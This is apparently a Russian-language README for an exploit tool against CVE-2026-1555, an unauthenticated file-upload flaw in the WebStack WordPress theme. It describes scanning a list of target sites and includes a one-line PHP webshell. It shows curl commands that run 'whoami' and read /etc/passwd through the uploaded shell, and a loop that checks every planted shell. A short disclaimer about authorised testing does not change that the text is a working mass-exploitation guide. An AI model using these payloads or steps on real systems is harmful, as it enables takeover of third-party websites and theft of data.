
WebStack <= 1.2024 - Неаутентифицированная произвольная загрузка файлов
WebStack <= 1.2024 - неаутентифицированная произвольная загрузка файлов
Неаутентифицированное удалённое выполнение кода через AJAX-обработчик img_upload
Функция io_img_upload(), зарегистрированная в WordPress в хуке действия img_upload файла admin-ajax.php, не выполняет вообще никакой проверки типа файла или расширения перед записью загружаемого файла на сервер. Поскольку действие зарегистрировано без проверки аутентификации (wp_ajax_nopriv_), любой неаутентифицированный удалённый злоумышленник может отправить через POST произвольный файл — включая PHP-вебшелл, — и сервер сохранит его по общедоступному пути, что позволяет напрямую выполнить произвольный код.
Уязвимая конечная точка:
POST /wp-admin/admin-ajax.php
action=img_upload
files=@<payload>
uploaded_paths.txtВерсия Python: 3.8+
Установите зависимости:
pip install requests rich urllib3
Создайте файл с именем list.txt (или любым другим на ваш выбор) с одной целью на строку:
https://target1.com
https://target2.com
http://target3.com
Целям без
http://илиhttps://автоматически добавляется префиксhttp://.
Поместите ваш вебшелл в ту же директорию, что и скрипт. Пример:
# Minimal PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
python CVE-2026-1555.py
Программа запросит у вас:
Каждая успешная загрузка выводит:
╭─ IMG_UPLOAD ──────────────────────────────────╮
│ Upload successful │
│ │
│ Target: https://target.com │
│ Shell URL: https://target.com/wp-content/... │
╰────────────────────────────────────────────────╯
Все URL-адреса успешных шеллов добавляются в:
uploaded_paths.txt
После успешной загрузки вы можете получить доступ к шеллу напрямую через браузер или curl:
# Browser
https://target.com/wp-content/uploads/shell.php?cmd=id
# curl
curl "https://target.com/wp-content/uploads/shell.php?cmd=whoami"
# Full command execution
curl "https://target.com/wp-content/uploads/shell.php?cmd=cat+/etc/passwd"
Точный путь загрузки извлекается из JSON-ответа сервера (
data.src) и выводится автоматически.
Быстро проверьте все загруженные шеллы из выходного файла:
while read url; do
echo -n "[*] $url -> "
curl -sk "$url?cmd=id" 2>/dev/null || echo "DEAD"
done < uploaded_paths.txt
В конце каждого запуска выводится сводка:
Summary 50/50 OK: 12 FAIL: 38
╭──────────────────────────────────────────╮
│ Shell URLs saved to uploaded_paths.txt │
╰──────────────────────────────────────────╯
CVE-2026-1555.py ← Main exploit script
list.txt ← Target URLs (one per line)
shell.php ← Payload to upload
uploaded_paths.txt ← Auto-generated: successful shell URLs
Этот инструмент предоставляется строго для авторизованного тестирования на проникновение, исследований в области безопасности и образовательных целей.
Автор — Nxploited — не несёт никакой ответственности за любое неправомерное использование, ущерб или незаконную деятельность, совершённые с помощью этого инструмента. Используя этот инструмент, вы подтверждаете, что имеете явное письменное разрешение на тестирование всех целевых систем.
Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых не имеете явного разрешения, противозаконно и может повлечь уголовное преследование в соответствии с применимым законодательством о киберпреступности.
Используйте ответственно. Вы полностью отвечаете за свои действия.
👤 Автор: Nxploited 📣 Канал: Nxploited ZeroDay Hub 💬 Telegram: @KNxploited
| Поле | Описание |
|---|
| CVE ID | CVE-2026-1555 |
| Поражённый компонент | Тема WebStack для WordPress |
| Уязвимые версии | Все версии вплоть до 1.2024 включительно |
| Тип уязвимости | Произвольная загрузка файлов → удалённое выполнение кода |
| Требуется аутентификация | ❌ Нет (без аутентификации) |
| Оценка CVSS | 9.8 КРИТИЧЕСКАЯ |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Запрос | Описание | По умолчанию |
|---|
Targets file | Путь к вашему списку целей | list.txt |
Threads | Количество одновременных рабочих потоков | 6 |
Local file to upload | Имя файла вашей нагрузки (в директории скрипта) | shell.php |